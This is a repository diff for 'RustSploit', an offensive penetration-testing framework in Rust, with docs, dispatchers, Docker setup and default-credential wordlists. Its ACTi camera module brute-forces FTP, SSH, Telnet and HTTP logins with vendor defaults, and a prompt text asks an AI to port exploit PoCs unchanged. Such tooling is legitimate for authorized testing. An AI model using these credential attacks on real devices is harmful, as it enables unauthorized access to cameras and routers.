│ │ ├── creds.rs
│ │ └── creds_gen.rs # build.rs output
│ ├── modules/ # Fully auto-discovered attack modules
│ │ ├── exploits/
│ │ ├── scanners/
│ │ └── creds/
│ └── utils.rs # Shared helpers (proxy parsing, module lookup, etc.)
├── docs/
│ └── readme.md # This document
├── lists/
│ ├── readme.md # Wordlist + data file catalogue
│ ├── rtsp-paths.txt
│ └── rtsphead.txt
└── README.md # Product overview
```
Key takeaway: modules are just Rust files under `src/modules/**`. Add `pub mod my_module;` in the local `mod.rs`, and the build script handles the rest.
---
## Build Pipeline & Module Discovery
1. **`build.rs` scan:** Before compilation, build.rs walks `src/modules` (depth-limited) looking for `.rs` files that are not `mod.rs`.
2. **Signature detection:** If a file exposes `pub async fn run(`, it is treated as a callable module.
3. **Name generation:** Both a *short name* (`ssh_bruteforce`) and *qualified path* (`creds/generic/ssh_bruteforce`) are registered.
4. **Dispatcher emission:** Three files (`exploit_gen.rs`, `scanner_gen.rs`, `creds_gen.rs`) are emitted with exhaustive `match` statements that map names → `use crate::modules::...::run`.
5. **Shell + CLI usage:** When users invoke `use exploits/foo` or `--module foo`, the dispatcher resolves the actual function.
Because the dispatcher is generated at build time, there is no manual registry drift as long as modules live in the right folder and export `run`.
---
## Shell Architecture
The shell lives in `src/shell.rs`. Highlights:
- **Context:** `ShellContext` stores `current_module`, `current_target`, the loaded `proxy_list`, and `proxy_enabled` boolean.
- **Prompt helpers:** Inline functions prompt for paths, yes/no decisions, timeouts, etc.
- **Shortcut parsing:** `split_command` + `resolve_command` normalize input (e.g., `f1 ssh`, `pon`, `ptest`) to canonical keys.
- **Command palette:** `render_help()` prints a colorized table for quick reference.
- **Proxy tests:** `proxy_test` command triggers async validation via utils.
- **Run pipeline:** On `run`/`go`, the shell enforces:
- Module selected
- Target set
- Proxy state respected (rotate until success or fallback direct)
- Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) set/cleared per attempt
- **State reset:** On exit, nothing is persisted intentionally for OPSEC.
Extensions (tab completion, history) can be added by wrapping the loop with a line-editor crate, but are omitted today to keep dependencies minimal.
---
## Proxy Subsystem
Implemented in `utils.rs` and surfaced in the shell.
- **Loader:** `load_proxies_from_file` reads lists, normalizes schemes (defaulting to `http://`), validates host/port via `Url`, and tolerates comments or blank lines. Returns both valid entries and a list of parse errors (line number, reason).
- **Supported schemes:** `http`, `https`, `socks4`, `socks4a`, `socks5`, `socks5h`.
- **Tester:** `test_proxies` concurrently (Tokio) checks a user-chosen URL using `reqwest::Proxy::all`. Configurable timeout and max concurrency.
- **Result:** Working proxies are retained; failures are reported with the reason (connection refused, invalid cert, etc.).
- **Integration:** Shell invites the user to validate immediately after loading; `proxy_test` can also be used on demand.
Proxies are set globally via environment variables so both module HTTP requests and low-level sockets (if they honor `ALL_PROXY`) benefit.
---
## Command-Line Interface
`src/cli.rs` uses Clap to expose three commands:
- `--command exploit|scanner|creds`
- `--module <name>` (short or qualified, same mapping as the shell)
- `--target <host|IP>`
Example:
```bash
cargo run -- --command exploit --module heartbleed --target 203.0.113.12
```
If the module needs additional parameters, it can prompt interactively (e.g., brute-force modules ask for wordlists even in CLI mode). For automated pipelines, modules should provide sensible defaults or accept environment variables.
---
## Authoring Modules
Every module must export:
```rust
use anyhow::Result;
pub async fn run(target: &str) -> Result<()> {
// ...
Ok(())
}
```
Guidelines:
1. **Location:** choose one of `src/modules/{exploits,scanners,creds}`. Use subfolders for vendor families (e.g., `exploits/cisco/`).
2. **`mod.rs`:** add `pub mod your_module;` in the sibling `mod.rs`. Without this, the build script ignores the file.
3. **Async I/O:** prefer `reqwest`, `tokio::net`, `tokio::process`, etc. Synchronous blocking code should be wrapped with `tokio::task::spawn_blocking` where possible (see SSH module).
4. **Logging:** leverage `colored` for clarity, but keep messages short and actionable. Use `[+]`, `[-]`, `[!]`, `[*]` prefixes consistently.
5. **Error handling:** bubble up with context (`anyhow::Context`) so the shell/CLI surface meaningful errors.
6. **Wordlists / resources:** store under `lists/` and document them in `lists/readme.md`.
7. **Optional interactive mode:** If the module benefits from multiple code paths, optionally expose `run_interactive` and call it from `run`.
### Example skeleton
```rust
use anyhow::{Context, Result};
pub async fn run(target: &str) -> Result<()> {
println!("[*] Checking {}", target);
let url = format!("http://{}/status", target);
let body = reqwest::get(&url)
.await
.with_context(|| format!("failed to reach {}", url))?
.text()
.await
.context("failed to fetch body")?;
if body.contains("vulnerable") {
println!("[+] {} appears vulnerable", target);
} else {
println!("[-] {} not vulnerable", target);
}
Ok(())
}
```
---
## Credential Modules: Best Practices
Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP follow shared patterns:
- **Input prompts:** ask for port, username/password wordlists, concurrency limit, stop-on-success toggle, output file, verbose logging.
- **Sanitation:** trim wordlist entries, skip blanks, provide early exits if lists are empty.
- **Concurrency:**
- Use `tokio::Semaphore` for asynchronous modules (FTP, SSH).
- Use `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3, SMTP).
- **Adaptive throttling:** Some modules (FTP) sample CPU/RAM to avoid saturating the host.
- **TLS/STARTTLS:** Accept invalid certs for offensive tooling convenience, but note this clearly.
- **Result persistence:** Offer to write `host -> user:pass` pairs to a local file (in `./` by default).
- **IPv6:** Use helpers like `format_addr` to wrap IPv6 addresses in brackets and support port suffixes.
---
## Exploit Modules: Best Practices
- **CVE referencing:** mention CVE IDs and vendor/product in comments and output.
- **Artifact handling:** If the exploit downloads or writes files (e.g., Heartbleed dump), store them in the current working directory or a named subfolder.
- **Clean-up:** If credentials or accounts are added (Abus camera module), explain the impact and clean-up instructions in output or comments.
- **Safety checks:** Validate responses before declaring success; false positives hurt credibility.
- **Options:** Use `prompt_*` helpers (borrow from existing modules) if end-user input is needed (e.g., RTSP advanced headers, extra path lists).
---
## Utilities & Helpers
`src/utils.rs` provides:
- `normalize_target`: wrap IPv6 addresses in brackets, pass through IPv4/hosts untouched.
- `module_exists` / `list_all_modules` / `find_modules`: used by shell to present module inventory.
- Proxy helpers described earlier (`load_proxies_from_file`, `test_proxies`, etc.).
Feel free to expand this file with reusable pieces (e.g., credential loader, HTTP header templates) to avoid duplication inside modules.
---
## Testing & QA
1. **Static checks:** `cargo fmt` and `cargo clippy` (where available).
2. **Build:** `cargo check` ensures new modules compile.
3. **Runtime smoke tests:**
- Shell: `cargo run``modules` → run a harmless module (e.g., `scanners/sample_scanner`).
- CLI: `cargo run -- --command scanner --module sample_scanner --target 127.0.0.1`.
4. **Proxy validation:** Load a mixed proxy file and confirm `proxy_test` filters entries correctly.
5. **Wordlists:** Validate that required lists exist (e.g., RTSP paths) and are referenced in docstrings.
When adding new modules, include short usage documentation (stdout prints, README notes) so other operators know how to drive them.
---
## Roadmap & Ideas
- Interactive shell improvements (history, tab completion, colored banners)
- Automated module testing harness (mock servers for POP3/SMTP/RTSP)
- Credential module templates (derive-style macros for common prompts)
- Integration with external wordlists (dynamic download or git submodules)
- Session logging (`tee` support) and output JSON export for pipeline ingestion
- Transport abstractions for UDP/DoS modules
Contributions are welcome—open an issue or start a discussion before large refactors.
---
Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !*** End Patch
+75
View File
@@ -0,0 +1,75 @@
Required Signature
The module must contain this exact public async function:
pub async fn run(target: &str) -> anyhow::Result<()>
Or any variant like:
pub async fn run(_target: &str) -> anyhow::Result<()>
Or even:
pub async fn run(host: &str) -> anyhow::Result<()>
Refactor this module to work with the auto-dispatch system. Do not remove any functionality or features. Make sure it defines a pub async fn run(target: &str) -> Result<()> entry point that internally calls the correct logic. Rename any conflicting functions if needed, but preserve all capabilities and structure.
Refactor this code to a Rust module so that it fully integrates into my RouterSploit-inspired Rust auto-dispatch framework.
✅ Preserve all functionality and existing logic — do not remove or simplify any capabilities.
✅ Ensure the module defines a pub async fn run(target: &str) -> Result<()> entry point.
All internal logic must be routed through this function.
✅ If any internal function is named run and conflicts with the dispatch entry, rename it (e.g. to execute, exploit, etc.) — but do not change logic.
✅ The module must compile, follow anyhow::Result<()>, and use proper error propagation (? operator).
✅ Do not add placeholders, pseudocode, or stubs — this must be real working Rust code.
✅ Use async/await and retain all networking, parsing, and exploit behavior from the original logic.
✅ Keep the code idiomatic and modular — preserve structure, variable naming, and async HTTP usage.
✅ If necessary, clean up variable scoping or imports, but never remove real features.
✅ keep all comments from the orginal but add two / before comments
✅ only use the poc and it must be a 1 to 1 convertion
Here is the original module that needs to be refactored:
Strict Requirements:
The code must be 100% pure Rust, fully compatible with Linux operating systems.
The entire driver must use asynchronous Rust throughout (async/await and appropriate crates), enabling non-blocking, concurrent communication with multiple devices.
Do not include any comments, explanations, docstrings, sample usage, placeholder code, TODOs, or example outputs. The output must be only the actual source code required for a complete and functional driver.
The output must be a single, fully compilable Rust source file, containing all necessary use statements, async functions, modules, structs, enums, and logic to support end-to-end operation.
-1
View File
@@ -1 +0,0 @@
just lists like word lists
+33
View File
@@ -0,0 +1,33 @@
# 📚 Rustsploit Data Files
This directory contains reference lists and helper payloads consumed by modules under `src/modules/**`. Keep this README up to date whenever a new list is added so operators understand the expected format and typical usage.
---
## Available Files
| File | Used By | Description |
|------|---------|-------------|
| `rtsp-paths.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Candidate RTSP paths to brute force when enumerating stream URLs (e.g., `/live.sdp`, `/Streaming/channels/101`). One entry per line; comments can be added with `#` at the start of a line. |
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables “advanced headers,” the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
---
## Contributing Lists
1. **Naming:** Use lowercase and hyphens (`my-new-list.txt`) to remain compatible across platforms.
2. **Format:** Prefer plain UTF-8 text. Comment lines should start with `#` or `//` so loaders can skip them.
3. **Documentation:** Update this README with a row describing the file, the consuming module, and expected contents.
4. **Usage in modules:** Reference lists with relative paths or prompt the user for the filename. Most modules expect the user to supply the path (allowing custom lists), but shipping defaults in this directory helps bootstrap new users.
5. **Attribution:** If a list leverages community sources (e.g., SecLists), note that in the table and ensure licenses permit redistribution.
---
## Ideas for Future Lists
- `ftp-default-creds.txt` for anonymous login checks
- `telnet-banners.txt` to fingerprint devices before brute forcing
- `http-admin-panels.txt` for web interface discovery scanners
- Vendor-specific RTSP or ONVIF endpoint lists
Pull requests welcome—please include both the data file and an entry here. !*** End Patch
+1
View File
@@ -0,0 +1 @@
+20
View File
@@ -0,0 +1,20 @@
admin
password
123456
1234
root
toor
guest
default
admin123
adminadmin
pass
changeme
password1
cisco
ubnt
support
12345
qwerty
letmein
test
+20
View File
@@ -0,0 +1,20 @@
admin
root
user
administrator
guest
support
operator
supervisor
admin1
root1
manager
service
master
tech
sysadmin
default
cisco
ubnt
pi
test
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 116 KiB

+327
View File
@@ -0,0 +1,327 @@
#!/usr/bin/env python3
"""
Interactive generator for RustSploit Docker-Compose stack.
Produces:
docker-compose.rustsploit.yml (with embedded Dockerfile)
.env.rustsploit-docker
and prints the command to bring the stack up.
This variant includes runtime fixes to avoid permission-denied on /app/data
and ensures the container starts as root briefly to fix ownership, then
executes the rustsploit binary as the less-privileged `rustsploit` user.
"""
import secrets
import os
import stat
import socket
import ipaddress
import subprocess
import pwd
from pathlib import Path
# Fix: Use parent.parent since script is in scripts/ directory
repo = Path(__file__).resolve().parent.parent
if not (repo / "Cargo.toml").exists():
print("[-] Error: Run this script from the RustSploit repository root.")
print(f" Expected Cargo.toml at: {repo / 'Cargo.toml'}")
exit(1)
# ---------- Helper functions ----------
def ask(prompt, default=None, validator=None):
"""Interactive prompt with validation."""
suffix = f" [{default}]" if default is not None else ""
while True:
val = input(f"{prompt}{suffix}: ").strip()
if not val and default is not None:
val = default
if not val:
print("Value cannot be empty.")
continue
if validator:
try:
validator(val)
except ValueError as e:
print(f"Invalid input: {e}")
continue
return val
def ask_yes_no(prompt, default=True):
"""Yes/No prompt."""
hint = "Y/n" if default else "y/N"
while True:
val = input(f"{prompt} ({hint}): ").strip().lower()
if not val:
return default
if val in ("y", "yes"):
return True
if val in ("n", "no"):
return False
print("Please answer 'y' or 'n'.")
def validate_host(host):
"""Validate host/IP address."""
host = host.strip()
if not host:
raise ValueError("Host cannot be empty")
# Allow localhost
if host == "localhost":
return
# Try to parse as IP
try:
ipaddress.ip_address(host)
except ValueError:
# Not a valid IP, check if it's a valid hostname
if len(host) > 253:
raise ValueError("Hostname too long (max 253 chars)")
if any(c.isspace() for c in host):
raise ValueError("Hostname cannot contain whitespace")
def validate_port(port_str):
"""Validate port number."""
try:
port = int(port_str)
if not (1 <= port <= 65535):
raise ValueError("Port must be between 1 and 65535")
except ValueError as e:
if "invalid literal" in str(e):
raise ValueError("Port must be a number")
raise
def detect_private_ip():
"""Try to detect private IP address."""
try:
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
sock.connect(("192.0.2.1", 80))
return sock.getsockname()[0]
except OSError:
return None
# ---------- Interactive prompts ----------
print("\n[+] RustSploit Docker Setup\n")
# Host selection
print("Select bind address:")
print(" [1] 127.0.0.1 (localhost only)")
print(" [2] 0.0.0.0 (all interfaces)")
print(" [3] Private LAN IP (auto-detect)")
print(" [4] Custom IP/hostname")
choice = ask("Choice", "2")
if choice == "1":
host = "127.0.0.1"
elif choice == "2":
host = "0.0.0.0"
elif choice == "3":
detected = detect_private_ip()
if detected:
print(f"[+] Detected private IP: {detected}")
use_detected = ask_yes_no("Use detected IP?", True)
host = detected if use_detected else ask("Enter IP/hostname", validator=validate_host)
else:
print("[-] Could not auto-detect private IP")
host = ask("Enter IP/hostname", validator=validate_host)
else:
host = ask("Enter IP/hostname", validator=validate_host)
# Port
# Default changed to 9000 as this is a common API port and matches user's prior usage
port_str = ask("Host port to expose", "9000", validator=validate_port)
port = int(port_str)
# API Key
print("\n[+] API Key Configuration")
generate_key = ask_yes_no("Generate random API key?", True)
if generate_key:
api_key = secrets.token_urlsafe(32)
print(f"[+] Generated API key: {api_key}")
else:
api_key = ask("Enter API key (ASCII, max 128 chars)", validator=lambda k: None if (len(k) <= 128 and all(32 <= ord(c) <= 126 for c in k)) else ValueError("API key must be printable ASCII, max 128 chars"))
# Hardening
print("\n[+] Security Hardening")
harden = ask_yes_no("Enable API hardening (auto-rotate key on suspicious activity)?", False)
ip_limit = 10
if harden:
ip_limit_str = ask("Max unique IPs before rotation", "10", validator=lambda v: validate_port(v) if v else None)
ip_limit = int(ip_limit_str)
# ---------- File generation ----------
env_file = ".env.rustsploit-docker"
compose_file = "docker-compose.rustsploit.yml"
env_path = repo / env_file
compose_path = repo / compose_file
# Check for existing .env file
if env_path.exists():
print(f"\n[!] Warning: {env_path.relative_to(repo)} already exists.")
if not ask_yes_no("Overwrite .env file?", False):
print("[-] Aborted.")
exit(0)
# Check for existing docker-compose file
if compose_path.exists():
print(f"\n[!] Warning: {compose_path.relative_to(repo)} already exists.")
if not ask_yes_no("Overwrite docker-compose file?", False):
print("[-] Aborted.")
exit(0)
# ---- .env ----
container_interface = f"0.0.0.0:{port}"
env_content = f"""RUSTSPLOIT_INTERFACE={container_interface}
RUSTSPLOIT_API_KEY={api_key}
RUSTSPLOIT_HARDEN={"true" if harden else "false"}
RUSTSPLOIT_IP_LIMIT={ip_limit}
"""
env_path.write_text(env_content)
# Set permissions: owner read/write only (0600) to keep API key private while still readable by docker-compose
os.chmod(env_path, stat.S_IRUSR | stat.S_IWUSR)
print(f"\n[+] Generated: {env_path}")
# Fix ownership if file was created with sudo (owned by root)
if env_path.stat().st_uid == 0:
print("[!] File was created as root. Fixing ownership...")
try:
# Get the actual user (SUDO_USER if running via sudo, otherwise current user)
user = os.environ.get('SUDO_USER') or os.environ.get('USER')
if not user:
user = pwd.getpwuid(os.getuid()).pw_name
# If we're running as root (via sudo), we can chown directly
if os.geteuid() == 0:
user_info = pwd.getpwnam(user)
os.chown(env_path, user_info.pw_uid, user_info.pw_gid)
print(f"[+] Ownership fixed: {user}:{user}")
else:
# Not root, need to use sudo
subprocess.run(['sudo', 'chown', f'{user}:{user}', str(env_path)], check=True)
print(f"[+] Ownership fixed: {user}:{user}")
except (subprocess.CalledProcessError, FileNotFoundError, KeyError) as e:
print(f"[!] Warning: Could not automatically fix ownership: {e}")
print(f" Please run manually: sudo chown $USER:$USER {env_path}")
# ---- docker-compose.yml with embedded Dockerfile ----
# Note: The serve stage runs the entrypoint as root so it can fix ownership of
# /app/data at container startup, then it drops privileges and executes the
# rustsploit binary as the less-privileged `rustsploit` user via runuser.
dockerfile_content = """FROM rust:1.83-slim AS builder
WORKDIR /workspace
ENV CARGO_TERM_COLOR=always
RUN apt-get update \\
&& apt-get install -y --no-install-recommends \\
build-essential \\
pkg-config \\
libssl-dev \\
libclang-dev \\
libpcap-dev \\
libsqlite3-dev \\
&& rm -rf /var/lib/apt/lists/*
COPY Cargo.toml ./
COPY Cargo.lock* ./
COPY . .
RUN cargo build --release --bin rustsploit
FROM debian:bookworm-slim AS serve
RUN apt-get update \\
&& apt-get install -y --no-install-recommends ca-certificates util-linux \\
&& rm -rf /var/lib/apt/lists/*
# create non-root user
RUN useradd --system --home /app --shell /usr/sbin/nologin rustsploit
WORKDIR /app
# create data dir (image-level), but runtime entrypoint will chown the volume target
RUN mkdir -p /app/data && chown rustsploit:rustsploit /app/data
COPY --from=builder /workspace/target/release/rustsploit /usr/local/bin/rustsploit
# entrypoint runs as root (default) so it can fix ownership of mounted volumes
RUN echo '#!/bin/sh' > /entrypoint.sh && \\
echo 'set -e' >> /entrypoint.sh && \\
echo 'ARGS="--api --api-key \"${RUSTSPLOIT_API_KEY}\" --interface \"${RUSTSPLOIT_INTERFACE}\""' >> /entrypoint.sh && \\
echo 'if [ "\"$RUSTSPLOIT_HARDEN\"" = "\"true\"" ]; then' >> /entrypoint.sh && \\
echo ' ARGS="$ARGS --harden"' >> /entrypoint.sh && \\
echo ' if [ -n "\"$RUSTSPLOIT_IP_LIMIT\"" ]; then' >> /entrypoint.sh && \\
echo ' ARGS="$ARGS --ip-limit $RUSTSPLOIT_IP_LIMIT"' >> /entrypoint.sh && \\
echo ' fi' >> /entrypoint.sh && \\
echo 'fi' >> /entrypoint.sh && \\
# ensure data dir exists and is owned by rustsploit so that non-root process can write
echo 'mkdir -p /app/data' >> /entrypoint.sh && \\
echo 'mkdir -p /app/data/logs || true' >> /entrypoint.sh && \\
echo 'chown -R rustsploit:rustsploit /app/data || true' >> /entrypoint.sh && \\
echo 'LOG_FILE=/app/data/logs/rustsploit_api.log' >> /entrypoint.sh && \\
echo 'touch "$LOG_FILE" || true' >> /entrypoint.sh && \\
echo 'chown rustsploit:rustsploit "$LOG_FILE" || true' >> /entrypoint.sh && \\
echo 'ln -sf "$LOG_FILE" /app/rustsploit_api.log || true' >> /entrypoint.sh && \\
# finally, execute rustsploit as the rustsploit user using runuser
echo 'exec runuser -u rustsploit -- /usr/local/bin/rustsploit $ARGS' >> /entrypoint.sh && \\
chmod +x /entrypoint.sh && \\
chown root:root /entrypoint.sh && \\
chown root:root /usr/local/bin/rustsploit
# keep default user root so entrypoint can perform ownership fixes; runtime drops to rustsploit
EXPOSE 8080
ENTRYPOINT ["/entrypoint.sh"]
"""
# Create Dockerfile in repo root (hardcoded in script, not in docker/ folder)
dockerfile_path = repo / "Dockerfile.rustsploit"
dockerfile_path.write_text(dockerfile_content)
print(f"[+] Generated: {dockerfile_path}")
# Generate docker-compose.yml
compose_content = f"""# Generated by {Path(__file__).name}
services:
rustsploit-api:
container_name: rustsploit-api
build:
context: .
dockerfile: Dockerfile.rustsploit
target: serve
restart: unless-stopped
env_file:
- {env_file}
ports:
- "{host}:{port}:{port}"
security_opt:
- no-new-privileges:true
tmpfs:
- /tmp
volumes:
- rustsploit-data:/app/data
volumes:
rustsploit-data:
name: rustsploit-data
"""
compose_path.write_text(compose_content)
print(f"[+] Generated: {compose_path}")
print("\n[+] Setup complete!")
print("\n[+] Generated files:")
print(f" - {env_path.relative_to(repo)}")
print(f" - {compose_path.relative_to(repo)}")
print(f" - {dockerfile_path.relative_to(repo)}")
print(f"\n[!] Note: Run docker compose commands from the repository root:")
print(f" cd {repo}")
print("\n[+] To start the stack, run:")
print(f" cd {repo} && docker compose -f {compose_file} up -d --build")
print(f" # OR from any directory:")
print(f" docker compose -f {compose_path} up -d --build")
print("\n[+] To view logs:")
print(f" cd {repo} && docker compose -f {compose_file} logs -f")
print(f" # OR from any directory:")
print(f" docker compose -f {compose_path} logs -f")
print("\n[+] To stop the stack:")
print(f" cd {repo} && docker compose -f {compose_file} down")
print(f" # OR from any directory:")
print(f" docker compose -f {compose_path} down")
-22
View File
@@ -1,22 +0,0 @@
use clap::{ArgGroup, Parser};
/// Simple RouterSploit-like CLI in Rust
#[derive(Parser, Debug)]
#[command(author, version, about, long_about = None)]
#[clap(group(
ArgGroup::new("mode")
.required(false)
.args(&["command"])
))]
pub struct Cli {
/// Subcommand to run (e.g. "exploit", "scanner", "creds")
pub command: Option<String>,
/// Target IP or hostname
#[arg(short, long)]
pub target: Option<String>,
/// Module name to use
#[arg(short, long)]
pub module: Option<String>,
}
-31
View File
@@ -1,31 +0,0 @@
use anyhow::{Result, bail};
// Import all available credential modules
use crate::modules::creds::{
generic::{
ftp_anonymous,
ftp_bruteforce,
sample_cred_check,
telnet_bruteforce,
ssh_bruteforce,
rtsp_bruteforce_advanced,
},
camera::acti::acti_camera_default,
};
/// Dispatch function for credential modules
pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
match module_name {
"generic/sample_cred_check" => sample_cred_check::run(target).await?,
"generic/ftp_bruteforce" => ftp_bruteforce::run(target).await?,
"generic/ftp_anonymous" => ftp_anonymous::run(target).await?,
"generic/telnet_bruteforce" => telnet_bruteforce::run(target).await?,
"generic/ssh_bruteforce" => ssh_bruteforce::run(target).await?,
"generic/rtsp_bruteforce_advanced" => rtsp_bruteforce_advanced::run(target).await?,
"camera/acti/acti_camera_default" => acti_camera_default::run(target).await?,
_ => bail!("Creds module '{}' not found.", module_name),
}
Ok(())
}
-20
View File
@@ -1,20 +0,0 @@
// src/commands/exploit.rs (dispatcher)
use anyhow::{Result, bail};
use crate::modules::exploits::{self, payloadgens};
pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> {
match module_name {
// ───────────── standard exploits ─────────────
"sample_exploit" |
"exploits/sample_exploit" => exploits::sample_exploit::run(target).await?,
// ───────── payload generators (nested) ───────
"payloadgenbat" | // short alias
"payloadgens/payloadgenbat" | // full path users type in shell/CLI
"exploits/payloadgens/payloadgenbat" => payloadgens::payloadgenbat::run(target).await?,
_ => bail!("Exploit module '{}' not found.", module_name),
}
Ok(())
}
-96
View File
@@ -1,96 +0,0 @@
pub mod exploit;
pub mod scanner;
pub mod creds;
use anyhow::Result;
use crate::cli::Cli;
use walkdir::WalkDir;
/// Handle CLI commands like: --command exploit --module creds/generic/ftp_anonymous --target x.x.x.x
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
let target = cli_args.target.clone().unwrap_or_default();
let module = cli_args.module.clone().unwrap_or_default();
match command {
"exploit" => {
let trimmed = module.trim_start_matches("exploits/"); // normalize
exploit::run_exploit(trimmed, &target).await?;
},
"scanner" => {
let trimmed = module.trim_start_matches("scanners/");
scanner::run_scan(trimmed, &target).await?;
},
"creds" => {
let trimmed = module.trim_start_matches("creds/");
creds::run_cred_check(trimmed, &target).await?;
},
_ => {
eprintln!("Unknown command '{}'", command);
}
}
Ok(())
}
/// Called from the interactive shell (e.g. 'use creds/generic/ftp_anonymous' + 'run')
pub async fn run_module(module_path: &str, target: &str) -> Result<()> {
let available = discover_modules();
if !available.contains(&module_path.to_string()) {
eprintln!("Unknown module '{}'. Available modules:", module_path);
for module in available {
println!(" {}", module);
}
return Ok(());
}
// Split path like "creds/generic/ftp_anonymous" -> ("creds", "generic/ftp_anonymous")
let mut parts = module_path.splitn(2, '/');
let category = parts.next().unwrap_or("");
let module_name = parts.next().unwrap_or("");
match category {
"exploits" => {
exploit::run_exploit(module_name, target).await?;
},
"scanners" => {
scanner::run_scan(module_name, target).await?;
},
"creds" => {
creds::run_cred_check(module_name, target).await?;
},
_ => {
eprintln!("Category '{}' is not supported.", category);
}
}
Ok(())
}
/// Discover modules in src/modules/{exploits,scanners,creds} recursively up to 6 levels deep
pub fn discover_modules() -> Vec<String> {
let mut modules = Vec::new();
let categories = ["exploits", "scanners", "creds"];
for category in categories {
let base_path = format!("src/modules/{}", category);
let walker = WalkDir::new(&base_path).max_depth(6);
for entry in walker.into_iter().filter_map(|e| e.ok()) {
let path = entry.path();
if path.is_file() && path.extension().map(|e| e == "rs").unwrap_or(false) {
if let Ok(relative) = path.strip_prefix("src/modules") {
let module_path = relative
.with_extension("") // remove .rs
.to_string_lossy()
.replace("\\", "/"); // Windows compatibility
modules.push(module_path);
}
}
}
}
modules
}
-13
View File
@@ -1,13 +0,0 @@
use anyhow::Result;
use crate::modules::scanners;
pub async fn run_scan(module_name: &str, target: &str) -> Result<()> {
match module_name {
"sample_scanner" => {
scanners::sample_scanner::run(target).await?;
},
// Add more scanner modules here ...
_ => eprintln!("Scanner module '{}' not found.", module_name),
}
Ok(())
}
-25
View File
@@ -1,25 +0,0 @@
use anyhow::Result;
use clap::Parser;
mod cli;
mod shell;
mod commands;
mod modules;
mod utils;
#[tokio::main]
async fn main() -> Result<()> {
// Parse command-line arguments
let cli_args = cli::Cli::parse();
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
if let Some(cmd) = &cli_args.command {
commands::handle_command(cmd, &cli_args).await?;
}
// Otherwise, launch the interactive shell
else {
shell::interactive_shell().await?;
}
Ok(())
}
@@ -1,203 +0,0 @@
use anyhow::{Context, Result};
use async_ftp::FtpStream;
use reqwest::Client;
use ssh2::Session;
use telnet::{Telnet, Event};
use std::{net::TcpStream, time::Duration};
use tokio::{join, task};
#[allow(dead_code)]
/// Supported Acti services
pub enum ServiceType {
Ftp,
Ssh,
Telnet,
Http,
}
/// Common config
#[derive(Clone)]
pub struct Config {
pub target: String,
pub port: u16,
pub credentials: Vec<(&'static str, &'static str)>,
pub stop_on_success: bool,
pub verbosity: bool,
}
/// FTP check (async)
pub async fn check_ftp(config: &Config) -> Result<()> {
println!("[*] Checking FTP credentials on {}:{}", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying FTP: {}:{}", username, password);
}
let address = format!("{}:{}", config.target, config.port);
match FtpStream::connect(address).await {
Ok(mut ftp) => {
if ftp.login(username, password).await.is_ok() {
println!("[+] FTP credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
let _ = ftp.quit().await;
}
Err(_) => continue,
}
}
println!("[-] No valid FTP credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// SSH check (blocking, so we use spawn_blocking in our run function)
pub fn check_ssh_blocking(config: &Config) -> Result<()> {
println!("[*] Checking SSH credentials on {}:{}", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying SSH: {}:{}", username, password);
}
let address = format!("{}:{}", config.target, config.port);
if let Ok(stream) = TcpStream::connect(address) {
let mut session = Session::new().context("Failed to create SSH session")?;
session.set_tcp_stream(stream);
session.handshake().context("SSH handshake failed")?;
if session.userauth_password(username, password).is_ok() && session.authenticated() {
println!("[+] SSH credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
}
}
println!("[-] No valid SSH credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// Telnet check (blocking, so we use spawn_blocking in our run function)
pub fn check_telnet_blocking(config: &Config) -> Result<()> {
println!("[*] Checking Telnet credentials on {}:{}", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying Telnet: {}:{}", username, password);
}
if let Ok(mut telnet) = Telnet::connect((config.target.as_str(), config.port), 500) {
let _ = telnet.write(format!("{}\r\n", username).as_bytes());
let _ = telnet.write(format!("{}\r\n", password).as_bytes());
// Give device time to respond
std::thread::sleep(Duration::from_millis(500));
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
let response = String::from_utf8_lossy(&buffer);
if !response.contains("incorrect") && !response.contains("failed") {
println!("[+] Telnet credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
}
}
}
println!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// HTTP Web Login check (async)
pub async fn check_http_form(config: &Config) -> Result<()> {
println!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
let url = format!("http://{}:{}/video.htm", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying HTTP: {}:{}", username, password);
}
let data = [
("LOGIN_ACCOUNT", *username),
("LOGIN_PASSWORD", *password),
("LANGUAGE", "0"),
("btnSubmit", "Login"),
];
let res = client
.post(&url)
.form(&data)
.send()
.await
.context("[!] Failed to send HTTP form request")?;
let body = res.text().await.unwrap_or_default();
if !body.contains(">Password<") {
println!("[+] HTTP credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
}
println!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// Entrypoint for module - parallel checks
pub async fn run(target: &str) -> Result<()> {
let creds = vec![
("admin", "12345"),
("admin", "123456"),
("Admin", "12345"),
("Admin", "123456"),
];
let base_config = Config {
target: target.to_string(),
port: 0,
credentials: creds,
stop_on_success: true,
verbosity: true,
};
let ftp_conf = Config { port: 21, ..base_config.clone() };
